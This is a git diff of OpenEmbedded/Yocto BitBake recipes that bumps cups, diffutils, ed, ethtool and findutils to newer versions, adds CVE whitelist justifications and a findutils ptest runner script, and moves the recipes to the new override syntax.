+ install -m 0755 ${WORKDIR}/crond.init ${D}${sysconfdir}/init.d/crond
+
+ # install systemd unit files
+ install -d ${D}${systemd_system_unitdir}
+ install -m 0644 ${WORKDIR}/crond.service ${D}${systemd_system_unitdir}
+ sed -i -e 's,@BASE_BINDIR@,${base_bindir},g' \
+ -e 's,@SBINDIR@,${sbindir},g' \
+ ${D}${systemd_system_unitdir}/crond.service
+
+ # below are necessary for a complete cron environment
+ install -d ${D}${localstatedir}/spool/cron
+ install -m 0755 ${WORKDIR}/crontab ${D}${sysconfdir}/
+ mkdir -p ${D}${sysconfdir}/cron.d
+ mkdir -p ${D}${sysconfdir}/cron.hourly
+ mkdir -p ${D}${sysconfdir}/cron.daily
+ mkdir -p ${D}${sysconfdir}/cron.weekly
+ mkdir -p ${D}${sysconfdir}/cron.monthly
+ touch ${D}${sysconfdir}/cron.deny
+
+ # below setting is necessary to allow normal user using crontab
+
+ # setgid for crontab binary
+ chown root:crontab ${D}${bindir}/crontab
+ chmod 2755 ${D}${bindir}/crontab
+
+ # allow 'crontab' group write to /var/spool/cron
+ chown root:crontab ${D}${localstatedir}/spool/cron
+ chmod 770 ${D}${localstatedir}/spool/cron
+
+ chmod 600 ${D}${sysconfdir}/crontab
+}
+
+FILES:${PN} += "${sysconfdir}/cron*"
+CONFFILES:${PN} += "${sysconfdir}/crontab"
diff --git a/meta/recipes-extended/cups/cups.inc b/meta/recipes-extended/cups/cups.inc
index df8d4d284a..05c1e34a77 100644
--- a/meta/recipes-extended/cups/cups.inc
+++ b/meta/recipes-extended/cups/cups.inc
@@ -6,20 +6,24 @@ document types."
HOMEPAGE = "https://www.cups.org/"
SECTION = "console/utils"
LICENSE = "Apache-2.0"
-DEPENDS = "gnutls libpng jpeg dbus zlib libusb1"
+DEPENDS = "libpng jpeg dbus zlib libusb1"
-SRC_URI = "https://github.com/apple/cups/releases/download/v${PV}/${BP}-source.tar.gz \
+SRC_URI = "https://github.com/OpenPrinting/cups/releases/download/v${PV}/cups-${PV}-source.tar.gz \
file://0001-use-echo-only-in-init.patch \
file://0002-don-t-try-to-run-generated-binaries.patch \
- file://0003-cups_1.4.6.bb-Fix-build-on-ppc64.patch \
+ file://libexecdir.patch \
file://0004-cups-fix-multilib-install-file-conflicts.patch \
file://volatiles.99_cups \
file://cups-volatiles.conf \
"
-UPSTREAM_CHECK_URI = "https://github.com/apple/cups/releases"
-UPSTREAM_CHECK_REGEX = "cups-(?P<pver>\d+\.\d+(\.\d+)?)-source.tar"
+UPSTREAM_CHECK_URI = "https://github.com/OpenPrinting/cups/releases"
+UPSTREAM_CHECK_REGEX = "cups-(?P<pver>(?!.+\d(b|rc)\d.+).+)-source.tar"
+# Issue only applies to MacOS
+CVE_CHECK_WHITELIST += "CVE-2008-1033"
+# Issue affects pdfdistiller plugin used with but not part of cups
+CVE_CHECK_WHITELIST += "CVE-2009-0032"
# This is an Ubuntu only issue.
CVE_CHECK_WHITELIST += "CVE-2018-6553"
@@ -30,46 +34,37 @@ CLEANBROKEN = "1"
inherit autotools-brokensep binconfig useradd systemd pkgconfig multilib_script
USERADD_PACKAGES = "${PN}"
-GROUPADD_PARAM_${PN} = "--system lpadmin"
+GROUPADD_PARAM:${PN} = "--system lpadmin"
-SYSTEMD_SERVICE_${PN} = "org.cups.cupsd.socket org.cups.cupsd.path org.cups.cupsd.service org.cups.cups-lpd.socket"
+SYSTEMD_SERVICE:${PN} = "cups.socket cups.path cups.service cups-lpd.socket"
PACKAGECONFIG ??= "${@bb.utils.contains('DISTRO_FEATURES', 'zeroconf', 'avahi', '', d)} \
${@bb.utils.filter('DISTRO_FEATURES', 'pam systemd', d)}"
-PACKAGECONFIG[avahi] = "--enable-avahi,--disable-avahi,avahi"
+PACKAGECONFIG[avahi] = "--with-dnssd=avahi,--with-dnssd=no,avahi"
PACKAGECONFIG[acl] = "--enable-acl,--disable-acl,acl"
+PACKAGECONFIG[gnutls] = "--with-tls=gnutls,--with-tls=no,gnutls"
PACKAGECONFIG[pam] = "--enable-pam --with-pam-module=unix, --disable-pam, libpam"
PACKAGECONFIG[systemd] = "--with-systemd=${systemd_system_unitdir},--without-systemd,systemd"
PACKAGECONFIG[xinetd] = "--with-xinetd=${sysconfdir}/xinetd.d,--without-xinetd,xinetd"
EXTRA_OECONF = " \
- --enable-gnutls \
--enable-dbus \
--enable-browsing \
--disable-gssapi \
--enable-debug \
--disable-relro \
--enable-libusb \
+ --with-system-groups=lpadmin \
+ --with-cups-group=lp \
--with-domainsocket=/run/cups/cups.sock \
+ --with-pkgconfpath=${libdir}/pkgconfig \
DSOFLAGS='${LDFLAGS}' \
"
EXTRA_AUTORECONF += "--exclude=autoheader"
-do_compile () {
- echo "all:" > man/Makefile
- echo "libs:" >> man/Makefile
- echo "install:" >> man/Makefile
- echo "install-data:" >> man/Makefile
- echo "install-exec:" >> man/Makefile
- echo "install-headers:" >> man/Makefile
- echo "install-libs:" >> man/Makefile
-
- oe_runmake
-}
-
do_install () {
- oe_runmake "DSTROOT=${D}" install
+ oe_runmake "DESTDIR=${D}" install
# Remove /var/run from package as cupsd will populate it on startup
rm -fr ${D}/${localstatedir}/run
@@ -97,22 +92,21 @@ do_install () {
PACKAGES =+ "${PN}-lib ${PN}-libimage"
-RDEPENDS_${PN} += "${@bb.utils.contains('DISTRO_FEATURES', 'sysvinit', 'procps', '', d)}"
-FILES_${PN} += "${libexecdir}/cups/ \
- "
+RDEPENDS:${PN} += "${@bb.utils.contains('DISTRO_FEATURES', 'sysvinit', 'procps', '', d)}"
+FILES:${PN} += "${libexecdir}/cups/"
-FILES_${PN}-lib = "${libdir}/libcups.so.*"
+FILES:${PN}-lib = "${libdir}/libcups.so.*"
-FILES_${PN}-libimage = "${libdir}/libcupsimage.so.*"
+FILES:${PN}-libimage = "${libdir}/libcupsimage.so.*"
#package the html for the webgui inside the main packages (~1MB uncompressed)
-FILES_${PN} += "${datadir}/doc/cups/images \
+FILES:${PN} += "${datadir}/doc/cups/images \
${datadir}/doc/cups/*html \
${datadir}/doc/cups/*.css \
${datadir}/icons/ \
"
-CONFFILES_${PN} += "${sysconfdir}/cups/cupsd.conf"
+CONFFILES:${PN} += "${sysconfdir}/cups/cupsd.conf"
MULTILIB_SCRIPTS = "${PN}-dev:${bindir}/cups-config"
@@ -120,3 +114,7 @@ SYSROOT_PREPROCESS_FUNCS += "cups_sysroot_preprocess"
cups_sysroot_preprocess () {
sed -i ${SYSROOT_DESTDIR}${bindir_crossscripts}/cups-config -e 's:cups_datadir=.*:cups_datadir=${datadir}/cups:' -e 's:cups_serverbin=.*:cups_serverbin=${libexecdir}/cups:'
}
+
+# -25317 concerns /var/log/cups having lp ownership. Our /var/log/cups is
+# root:root, so this doesn't apply.
+CVE_CHECK_WHITELIST += "CVE-2021-25317"
diff --git a/meta/recipes-extended/cups/cups/0002-don-t-try-to-run-generated-binaries.patch b/meta/recipes-extended/cups/cups/0002-don-t-try-to-run-generated-binaries.patch
index ea248e4710..2bc26edbfc 100644
--- a/meta/recipes-extended/cups/cups/0002-don-t-try-to-run-generated-binaries.patch
+++ b/meta/recipes-extended/cups/cups/0002-don-t-try-to-run-generated-binaries.patch
@@ -26,48 +26,6 @@ index 32e2e0b..f1478d4 100644
#
-@@ -205,9 +205,9 @@ ppdc-static: ppdc.o libcupsppdc.a ../cups/$(LIBCUPSSTATIC) foo.drv foo-fr.po
- $(LD_CXX) $(ARCHFLAGS) $(ALL_LDFLAGS) -o ppdc-static ppdc.o libcupsppdc.a \
- $(LINKCUPSSTATIC)
- $(CODE_SIGN) -s "$(CODE_SIGN_IDENTITY)" $@
-- echo Testing PPD compiler...
-- ./ppdc-static -l en,fr -I ../data foo.drv
-- ./ppdc-static -l en,fr -z -I ../data foo.drv
-+# echo Testing PPD compiler...
-+# ./ppdc-static -l en,fr -I ../data foo.drv
-+# ./ppdc-static -l en,fr -z -I ../data foo.drv
-
-
- #
-@@ -235,17 +235,17 @@ ppdi-static: ppdc-static ppdi.o libcupsppdc.a ../cups/$(LIBCUPSSTATIC)
- $(LD_CXX) $(ARCHFLAGS) $(ALL_LDFLAGS) -o ppdi-static ppdi.o libcupsppdc.a \
- $(LINKCUPSSTATIC)
- $(CODE_SIGN) -s "$(CODE_SIGN_IDENTITY)" $@
-- echo Testing PPD importer...
-- $(RM) -r ppd ppd2 sample-import.drv
-- ./ppdc-static -l en -I ../data sample.drv
-- ./ppdi-static -I ../data -o sample-import.drv ppd/*
-- ./ppdc-static -l en -I ../data -d ppd2 sample-import.drv
-- if diff -r ppd ppd2 >/dev/null; then \
-- echo PPD import OK; \
-- else \
-- echo PPD import FAILED; \
-- exit 1; \
-- fi
-+# echo Testing PPD importer...
-+# $(RM) -r ppd ppd2 sample-import.drv
-+# ./ppdc-static -l en -I ../data sample.drv
-+# ./ppdi-static -I ../data -o sample-import.drv ppd/*
-+# ./ppdc-static -l en -I ../data -d ppd2 sample-import.drv
-+# if diff -r ppd ppd2 >/dev/null; then \
-+# echo PPD import OK; \
-+# else \
-+# echo PPD import FAILED; \
-+# exit 1; \
-+# fi
-
-
- #
--
2.17.1
diff --git a/meta/recipes-extended/cups/cups/0003-cups_1.4.6.bb-Fix-build-on-ppc64.patch b/meta/recipes-extended/cups/cups/0003-cups_1.4.6.bb-Fix-build-on-ppc64.patch
deleted file mode 100644
index b48c7a9ad2..0000000000
--- a/meta/recipes-extended/cups/cups/0003-cups_1.4.6.bb-Fix-build-on-ppc64.patch
+++ /dev/null
@@ -1,51 +0,0 @@
-From 66c2079ae91389ee0f9d704bf0d2cccd53b2c603 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Sun, 22 Jul 2012 16:54:17 -0700
-Subject: [PATCH 3/4] cups_1.4.6.bb: Fix build on ppc64
-
-Make CUPS_SERVERBIN relative to libdir otherwise on 64bit arches
-e.g. ppc64 where base libdir is lib64 this does not go well
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-Upstream-Status: Inappropriate [OE config specific]
-
-Update on 20190904:
-Redefine CUPS_SERVERBIN to "$libexecdir/cups" which solves file confliction
-when multilib is enabled.
-
-Signed-off-by: Kai Kang <kai.kang@windriver.com>
-
----
- config-scripts/cups-directories.m4 | 2 +-
- configure | 2 +-
- 2 files changed, 2 insertions(+), 2 deletions(-)
-
-diff --git a/config-scripts/cups-directories.m4 b/config-scripts/cups-directories.m4
-index b74083a..9a5abb2 100644
---- a/config-scripts/cups-directories.m4
-+++ b/config-scripts/cups-directories.m4
-@@ -270,7 +270,7 @@ case "$host_os_name" in
- *)
- # All others
- INSTALL_SYSV="install-sysv"
-- CUPS_SERVERBIN="$exec_prefix/lib/cups"
-+ CUPS_SERVERBIN="$libexecdir/cups"
- ;;
- esac
-
-diff --git a/configure b/configure
-index d3df145..bc68a6c 100755
---- a/configure
-+++ b/configure
-@@ -6420,7 +6420,7 @@ case "$host_os_name" in
- *)
- # All others
- INSTALL_SYSV="install-sysv"
-- CUPS_SERVERBIN="$exec_prefix/lib/cups"
-+ CUPS_SERVERBIN="$libexecdir/cups"
- ;;
- esac
-
---
-2.17.1
-
diff --git a/meta/recipes-extended/cups/cups/libexecdir.patch b/meta/recipes-extended/cups/cups/libexecdir.patch
new file mode 100644
index 0000000000..7ccad94f0f
--- /dev/null
+++ b/meta/recipes-extended/cups/cups/libexecdir.patch
@@ -0,0 +1,35 @@
+From 1724f7bcdbcfdb445778f8a2e530c5c094c18c10 Mon Sep 17 00:00:00 2001
+From: Ross Burton <ross.burton@arm.com>
+Date: Tue, 13 Jul 2021 12:56:30 +0100
+Subject: [PATCH] Use $libexecdir instead of hardcoding $prefix/lib as this
+ breaks multilib builds.
+
+Upstream-Status: Pending
+Signed-off-by: Ross Burton <ross.burton@arm.com>
+
+---
+ config-scripts/cups-directories.m4 | 4 ++--
+ 1 file changed, 2 insertions(+), 2 deletions(-)
+
+diff --git a/config-scripts/cups-directories.m4 b/config-scripts/cups-directories.m4
+index 2033d47..230166e 100644
+--- a/config-scripts/cups-directories.m4
++++ b/config-scripts/cups-directories.m4
+@@ -239,7 +239,7 @@ AC_SUBST([CUPS_REQUESTS])
+ AS_CASE(["$host_os_name"], [*-gnu], [
+ # GNUs
+ INSTALL_SYSV="install-sysv"
+- CUPS_SERVERBIN="$exec_prefix/lib/cups"
++ CUPS_SERVERBIN="$libexecdir/cups"
+ ], [*bsd* | darwin*], [
+ # *BSD and Darwin (macOS)
+ INSTALL_SYSV=""
+@@ -247,7 +247,7 @@ AS_CASE(["$host_os_name"], [*-gnu], [
+ ], [*], [
+ # All others
+ INSTALL_SYSV="install-sysv"
+- CUPS_SERVERBIN="$exec_prefix/lib/cups"
++ CUPS_SERVERBIN="$libexecdir/cups"
+ ])
+
+ AC_DEFINE_UNQUOTED([CUPS_SERVERBIN], ["$CUPS_SERVERBIN"], [Location of server programs.])
diff --git a/meta/recipes-extended/cups/cups_2.3.3.bb b/meta/recipes-extended/cups/cups_2.3.3.bb
deleted file mode 100644
index 5caeb6f58b..0000000000
--- a/meta/recipes-extended/cups/cups_2.3.3.bb
+++ /dev/null
@@ -1,6 +0,0 @@
-require cups.inc
-
-LIC_FILES_CHKSUM = "file://LICENSE;md5=3b83ef96387f14655fc854ddc3c6bd57"
-
-SRC_URI[md5sum] = "412434ceefbdf3ec71bc9188a035f589"
-SRC_URI[sha256sum] = "261fd948bce8647b6d5cb2a1784f0c24cc52b5c4e827b71d726020bcc502f3ee"
diff --git a/meta/recipes-extended/cups/cups_2.4.0.bb b/meta/recipes-extended/cups/cups_2.4.0.bb
new file mode 100644
index 0000000000..42be34c4f3
--- /dev/null
+++ b/meta/recipes-extended/cups/cups_2.4.0.bb
@@ -0,0 +1,5 @@
+require cups.inc
+
+LIC_FILES_CHKSUM = "file://LICENSE;md5=3b83ef96387f14655fc854ddc3c6bd57"
+
+SRC_URI[sha256sum] = "9abecec128ca6847c5bb2d3e3d30c87b782c0697b9acf284d16fa38f80a3a6de"
diff --git a/meta/recipes-extended/cwautomacros/cwautomacros_20110201.bb b/meta/recipes-extended/cwautomacros/cwautomacros_20110201.bb
index 65a99fc28d..e726899c52 100644
--- a/meta/recipes-extended/cwautomacros/cwautomacros_20110201.bb
+++ b/meta/recipes-extended/cwautomacros/cwautomacros_20110201.bb
@@ -1,6 +1,7 @@
SUMMARY = "Collection of autoconf m4 macros"
SECTION = "base"
HOMEPAGE = "http://sourceforge.net/projects/cwautomacros.berlios/"
+DESCRIPTION = "A collection of autoconf macros, plus an autogen.sh script that can be used with them."
LICENSE = "GPLv2"
LIC_FILES_CHKSUM = "file://LICENSE;md5=eb723b61539feef013de476e68b5c50a"
@@ -13,7 +14,7 @@ do_configure() {
}
do_install() {
- oe_runmake CWAUTOMACROSPREFIX=${D}${prefix} install
+ oe_runmake LABEL=`date -d @${SOURCE_DATE_EPOCH} +%Y%m%d` CWAUTOMACROSPREFIX=${D}${prefix} install
# cleanup buildpaths in autogen.sh
sed -i -e 's,${D},,g' ${D}${prefix}/share/cwautomacros/scripts/autogen.sh
diff --git a/meta/recipes-extended/diffutils/diffutils.inc b/meta/recipes-extended/diffutils/diffutils.inc
index c9e3130587..194d6e5a1b 100644
--- a/meta/recipes-extended/diffutils/diffutils.inc
+++ b/meta/recipes-extended/diffutils/diffutils.inc
@@ -7,7 +7,7 @@ SECTION = "base"
inherit autotools texinfo update-alternatives gettext
-ALTERNATIVE_${PN} = "diff cmp"
+ALTERNATIVE:${PN} = "diff cmp"
ALTERNATIVE_PRIORITY = "100"
BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/diffutils/diffutils_3.7.bb b/meta/recipes-extended/diffutils/diffutils_3.7.bb
deleted file mode 100644
index 8111ae6065..0000000000
--- a/meta/recipes-extended/diffutils/diffutils_3.7.bb
+++ /dev/null
@@ -1,40 +0,0 @@
-LICENSE = "GPLv3+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504"
-
-require diffutils.inc
-
-SRC_URI = "${GNU_MIRROR}/diffutils/diffutils-${PV}.tar.xz \
- file://run-ptest \
- file://0001-Skip-strip-trailing-cr-test-case.patch \
-"
-
-SRC_URI[md5sum] = "4824adc0e95dbbf11dfbdfaad6a1e461"
-SRC_URI[sha256sum] = "b3a7a6221c3dc916085f0d205abf6b8e1ba443d4dd965118da364a1dc1cb3a26"
-
-EXTRA_OECONF += "ac_cv_path_PR_PROGRAM=${bindir}/pr --without-libsigsegv-prefix"
-
-# Fix "Argument list too long" error when len(TMPDIR) = 410
-acpaths = "-I ./m4"
-
-inherit ptest
-
-RDEPENDS_${PN}-ptest += "make perl"
-
-do_install_ptest() {
- t=${D}${PTEST_PATH}
- install -D ${S}/build-aux/test-driver $t/build-aux/test-driver
- cp -r ${S}/tests $t/
- install ${B}/tests/Makefile $t/tests/
- sed -e 's,--sysroot=${STAGING_DIR_TARGET},,g' \
- -e 's|${DEBUG_PREFIX_MAP}||g' \
- -e 's:${HOSTTOOLS_DIR}/::g' \
- -e 's:${RECIPE_SYSROOT_NATIVE}::g' \
- -e 's:${BASE_WORKDIR}/${MULTIMACH_TARGET_SYS}::g' \
- -e 's|^Makefile:|_Makefile:|' \
- -e 's|bash|sh|' \
- -e 's|^top_srcdir = \(.*\)|top_srcdir = ..\/|' \
- -e 's|^srcdir = \(.*\)|srcdir = .|' \
- -e 's|"`$(built_programs)`"|diff|' \
- -e 's|gawk|awk|g' \
- -i $t/tests/Makefile
-}
diff --git a/meta/recipes-extended/diffutils/diffutils_3.8.bb b/meta/recipes-extended/diffutils/diffutils_3.8.bb
new file mode 100644
index 0000000000..a6522967d4
--- /dev/null
+++ b/meta/recipes-extended/diffutils/diffutils_3.8.bb
@@ -0,0 +1,42 @@
+LICENSE = "GPLv3+"
+LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504"
+
+require diffutils.inc
+
+SRC_URI = "${GNU_MIRROR}/diffutils/diffutils-${PV}.tar.xz \
+ file://run-ptest \
+ file://0001-Skip-strip-trailing-cr-test-case.patch \
+ "
+
+SRC_URI[sha256sum] = "a6bdd7d1b31266d11c4f4de6c1b748d4607ab0231af5188fc2533d0ae2438fec"
+
+EXTRA_OECONF += "ac_cv_path_PR_PROGRAM=${bindir}/pr --without-libsigsegv-prefix"
+
+# latest gnulib is no longer able to handle this - I dare not try to fix that maze of abstractions and generators
+CFLAGS:mingw32 = " -DSA_RESTART=0"
+
+# Fix "Argument list too long" error when len(TMPDIR) = 410
+acpaths = "-I ./m4"
+
+inherit ptest
+
+RDEPENDS:${PN}-ptest += "make perl"
+
+do_install_ptest() {
+ t=${D}${PTEST_PATH}
+ install -D ${S}/build-aux/test-driver $t/build-aux/test-driver
+ cp -r ${S}/tests $t/
+ install ${B}/tests/Makefile $t/tests/
+ sed -e 's,--sysroot=${STAGING_DIR_TARGET},,g' \
+ -e 's|${DEBUG_PREFIX_MAP}||g' \
+ -e 's:${HOSTTOOLS_DIR}/::g' \
+ -e 's:${RECIPE_SYSROOT_NATIVE}::g' \
+ -e 's:${BASE_WORKDIR}/${MULTIMACH_TARGET_SYS}::g' \
+ -e 's|^Makefile:|_Makefile:|' \
+ -e 's|bash|sh|' \
+ -e 's|^top_srcdir = \(.*\)|top_srcdir = ..\/|' \
+ -e 's|^srcdir = \(.*\)|srcdir = .|' \
+ -e 's|"`$(built_programs)`"|diff|' \
+ -e 's|gawk|awk|g' \
+ -i $t/tests/Makefile
+}
diff --git a/meta/recipes-extended/ed/ed_1.16.bb b/meta/recipes-extended/ed/ed_1.16.bb
deleted file mode 100644
index f383007b59..0000000000
--- a/meta/recipes-extended/ed/ed_1.16.bb
+++ /dev/null
@@ -1,38 +0,0 @@
-SUMMARY = "Line-oriented text editor"
-HOMEPAGE = "http://www.gnu.org/software/ed/"
-
-LICENSE = "GPLv3+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=0c7051aef9219dc7237f206c5c4179a7 \
- file://ed.h;endline=20;md5=0226a8dd88c76afba773f2f0f7c83f5e \
- file://main.c;endline=17;md5=ebd4aff86dc9fa5027d55bc5191746b9 \
- "
-
-SECTION = "base"
-
-CVE_PRODUCT = "gnu:ed"
-
-# LSB states that ed should be in /bin/
-bindir = "${base_bindir}"
-
-# Upstream regularly removes previous releases from https://ftp.gnu.org/gnu/ed/
-SRC_URI = "${GNU_MIRROR}/ed/${BP}.tar.lz"
-UPSTREAM_CHECK_URI = "${GNU_MIRROR}/ed/"
-
-SRC_URI[md5sum] = "ab480d982289064ca040bc5c75fceffd"
-SRC_URI[sha256sum] = "cfc07a14ab048a758473ce222e784fbf031485bcd54a76f74acfee1f390d8b2c"
-
-EXTRA_OEMAKE = "-e MAKEFLAGS="
-
-inherit texinfo
-
-do_configure() {
- ${S}/configure
-}
-
-do_install() {
- oe_runmake 'DESTDIR=${D}' install
- # Info dir listing isn't interesting at this point so remove it if it exists.
- if [ -e "${D}${infodir}/dir" ]; then
- rm -f ${D}${infodir}/dir
- fi
-}
diff --git a/meta/recipes-extended/ed/ed_1.17.bb b/meta/recipes-extended/ed/ed_1.17.bb
new file mode 100644
index 0000000000..addf652d52
--- /dev/null
+++ b/meta/recipes-extended/ed/ed_1.17.bb
@@ -0,0 +1,38 @@
+SUMMARY = "Line-oriented text editor"
+HOMEPAGE = "http://www.gnu.org/software/ed/"
+DESCRIPTION = "GNU ed is a line-oriented text editor. It is used to create, display, modify and otherwise manipulate text files, both interactively and via shell scripts. A restricted version of ed, red, can only edit files in the current directory and cannot execute shell commands."
+
+LICENSE = "GPLv3+"
+LIC_FILES_CHKSUM = "file://COPYING;md5=0c7051aef9219dc7237f206c5c4179a7 \
+ file://ed.h;endline=20;md5=b72aa5eaafef318c6bfc37f858469113 \
+ file://main.c;endline=17;md5=2c93e24f4db3528a00a24c7df5618e41 \
+ "
+
+SECTION = "base"
+
+CVE_PRODUCT = "gnu:ed"
+
+# LSB states that ed should be in /bin/
+bindir = "${base_bindir}"
+
+# Upstream regularly removes previous releases from https://ftp.gnu.org/gnu/ed/
+SRC_URI = "${GNU_MIRROR}/ed/${BP}.tar.lz"
+UPSTREAM_CHECK_URI = "${GNU_MIRROR}/ed/"
+
+SRC_URI[sha256sum] = "71de39883c25b6fab44add80635382a10c9bf154515b94729f4a6529ddcc5e54"
+
+EXTRA_OEMAKE = "-e MAKEFLAGS="
+
+inherit texinfo
+
+do_configure() {
+ ${S}/configure
+}
+
+do_install() {
+ oe_runmake 'DESTDIR=${D}' install
+ # Info dir listing isn't interesting at this point so remove it if it exists.
+ if [ -e "${D}${infodir}/dir" ]; then
+ rm -f ${D}${infodir}/dir
+ fi
+}
diff --git a/meta/recipes-extended/ethtool/ethtool/avoid_parallel_tests.patch b/meta/recipes-extended/ethtool/ethtool/avoid_parallel_tests.patch
index 673b35033f..0ec3537198 100644
--- a/meta/recipes-extended/ethtool/ethtool/avoid_parallel_tests.patch
+++ b/meta/recipes-extended/ethtool/ethtool/avoid_parallel_tests.patch
@@ -1,4 +1,4 @@
-From 538bd5ec36d88f17803cb848cbbfe62ad51fc2f4 Mon Sep 17 00:00:00 2001
+From cd444e576d446b7ccb51a26a02c0e75d6ee2abf2 Mon Sep 17 00:00:00 2001
From: Tudor Florea <tudor.florea@enea.com>
Date: Wed, 28 May 2014 18:59:54 +0200
Subject: [PATCH] ethtool: use serial-tests config needed by ptest.
@@ -15,11 +15,11 @@ Upstream-Status: Inappropriate
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/configure.ac b/configure.ac
-index 0162155..6866e72 100644
+index 6c9453c..7c0f829 100644
--- a/configure.ac
+++ b/configure.ac
@@ -2,7 +2,7 @@ dnl Process this file with autoconf to produce a configure script.
- AC_INIT(ethtool, 5.9, netdev@vger.kernel.org)
+ AC_INIT(ethtool, 5.15, netdev@vger.kernel.org)
AC_PREREQ(2.52)
AC_CONFIG_SRCDIR([ethtool.c])
-AM_INIT_AUTOMAKE([gnu subdir-objects])
diff --git a/meta/recipes-extended/ethtool/ethtool_5.15.bb b/meta/recipes-extended/ethtool/ethtool_5.15.bb
new file mode 100644
index 0000000000..4192dec300
--- /dev/null
+++ b/meta/recipes-extended/ethtool/ethtool_5.15.bb
@@ -0,0 +1,37 @@
+SUMMARY = "Display or change ethernet card settings"
+DESCRIPTION = "A small utility for examining and tuning the settings of your ethernet-based network interfaces."
+HOMEPAGE = "http://www.kernel.org/pub/software/network/ethtool/"
+SECTION = "console/network"
+LICENSE = "GPLv2+"
+LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
+ file://ethtool.c;beginline=4;endline=17;md5=c19b30548c582577fc6b443626fc1216"
+
+SRC_URI = "${KERNELORG_MIRROR}/software/network/ethtool/ethtool-${PV}.tar.gz \
+ file://run-ptest \
+ file://avoid_parallel_tests.patch \
+ "
+
+SRC_URI[sha256sum] = "a6a1638192209269ca74a29d73903f28531ebdf0794f3e0bdfdbdee2dc75d98b"
+
+UPSTREAM_CHECK_URI = "https://www.kernel.org/pub/software/network/ethtool/"
+
+inherit autotools ptest bash-completion pkgconfig
+
+RDEPENDS:${PN}-ptest += "make"
+
+PACKAGECONFIG ?= "netlink"
+PACKAGECONFIG[netlink] = "--enable-netlink,--disable-netlink,libmnl,"
+
+do_compile_ptest() {
+ oe_runmake buildtest-TESTS
+}
+
+do_install_ptest () {
+ cp ${B}/Makefile ${D}${PTEST_PATH}
+ install ${B}/test-cmdline ${D}${PTEST_PATH}
+ if ${@bb.utils.contains('PACKAGECONFIG', 'netlink', 'false', 'true', d)}; then
+ install ${B}/test-features ${D}${PTEST_PATH}
+ fi
+ install ${B}/ethtool ${D}${PTEST_PATH}/ethtool
+ sed -i 's/^Makefile/_Makefile/' ${D}${PTEST_PATH}/Makefile
+}
diff --git a/meta/recipes-extended/ethtool/ethtool_5.9.bb b/meta/recipes-extended/ethtool/ethtool_5.9.bb
deleted file mode 100644
index 2d2f9b77f0..0000000000
--- a/meta/recipes-extended/ethtool/ethtool_5.9.bb
+++ /dev/null
@@ -1,37 +0,0 @@
-SUMMARY = "Display or change ethernet card settings"
-DESCRIPTION = "A small utility for examining and tuning the settings of your ethernet-based network interfaces."
-HOMEPAGE = "http://www.kernel.org/pub/software/network/ethtool/"
-SECTION = "console/network"
-LICENSE = "GPLv2+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
- file://ethtool.c;beginline=4;endline=17;md5=c19b30548c582577fc6b443626fc1216"
-
-SRC_URI = "${KERNELORG_MIRROR}/software/network/ethtool/ethtool-${PV}.tar.gz \
- file://run-ptest \
- file://avoid_parallel_tests.patch \
- "
-
-SRC_URI[sha256sum] = "f934a830554c46d7d60b1a9147f4cab15589b7e09344c4b79b1948b740f0a725"
-
-UPSTREAM_CHECK_URI = "https://www.kernel.org/pub/software/network/ethtool/"
-
-inherit autotools ptest bash-completion pkgconfig
-
-RDEPENDS_${PN}-ptest += "make"
-
-PACKAGECONFIG ?= "netlink"
-PACKAGECONFIG[netlink] = "--enable-netlink,--disable-netlink,libmnl,"
-
-do_compile_ptest() {
- oe_runmake buildtest-TESTS
-}
-
-do_install_ptest () {
- cp ${B}/Makefile ${D}${PTEST_PATH}
- install ${B}/test-cmdline ${D}${PTEST_PATH}
- if ${@bb.utils.contains('PACKAGECONFIG', 'netlink', 'false', 'true', d)}; then
- install ${B}/test-features ${D}${PTEST_PATH}
- fi
- install ${B}/ethtool ${D}${PTEST_PATH}/ethtool
- sed -i 's/^Makefile/_Makefile/' ${D}${PTEST_PATH}/Makefile
-}
diff --git a/meta/recipes-extended/findutils/findutils.inc b/meta/recipes-extended/findutils/findutils.inc
index 9aa7239825..ddcc05750b 100644
--- a/meta/recipes-extended/findutils/findutils.inc
+++ b/meta/recipes-extended/findutils/findutils.inc
@@ -6,11 +6,13 @@ HOMEPAGE = "http://www.gnu.org/software/findutils/"
BUGTRACKER = "http://savannah.gnu.org/bugs/?group=findutils"
SECTION = "console/utils"
-SRC_URI = "${GNU_MIRROR}/${BPN}/${BP}.tar.xz"
+SRC_URI = "${GNU_MIRROR}/${BPN}/${BP}.tar.xz \
+ file://run-ptest \
+ "
-inherit autotools gettext texinfo update-alternatives
+inherit autotools gettext texinfo update-alternatives ptest
-ALTERNATIVE_${PN} = "find xargs"
+ALTERNATIVE:${PN} = "find xargs"
ALTERNATIVE_PRIORITY = "100"
BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/findutils/findutils/run-ptest b/meta/recipes-extended/findutils/findutils/run-ptest
new file mode 100644
index 0000000000..ec71583c51
--- /dev/null
+++ b/meta/recipes-extended/findutils/findutils/run-ptest
@@ -0,0 +1,57 @@
+#!/bin/bash
+
+# create temporary symlink to workaround missing oldfind
+ln -s /usr/bin/find /tmp/oldfind
+# make oldfind visible
+export PATH="/tmp:${PATH}"
+
+export built_programs="find xargs locate updatedb"
+
+# this gets substituted by sed during build
+export VERSION="__run_ptest_version__"
+
+# define missing functions for tests/init.sh
+fu_path_prepend_ () {
+ path_prepend_ $@
+}
+
+print_ver_ () {
+ :
+}
+
+skip_if_root_ () {
+ [ $(id -u) = 0 ] && exit 77;
+}
+
+require_root_ () {
+ [ $(id -u) = 0 ] || exit 77;
+}
+
+expensive_ () {
+ :
+}
+
+export -f fu_path_prepend_
+export -f print_ver_
+export -f skip_if_root_
+export -f require_root_
+export -f expensive_
+
+
+for f in tests/*/*.sh; do
+ bash $f ;
+ case $? in
+ 0 )
+ echo -n "PASS";;
+ 77 )
+ echo -n "SKIP";;
+ * )
+ echo -n "FAIL";;
+ esac
+ echo ": $f"
+done
+
+#remove symlink
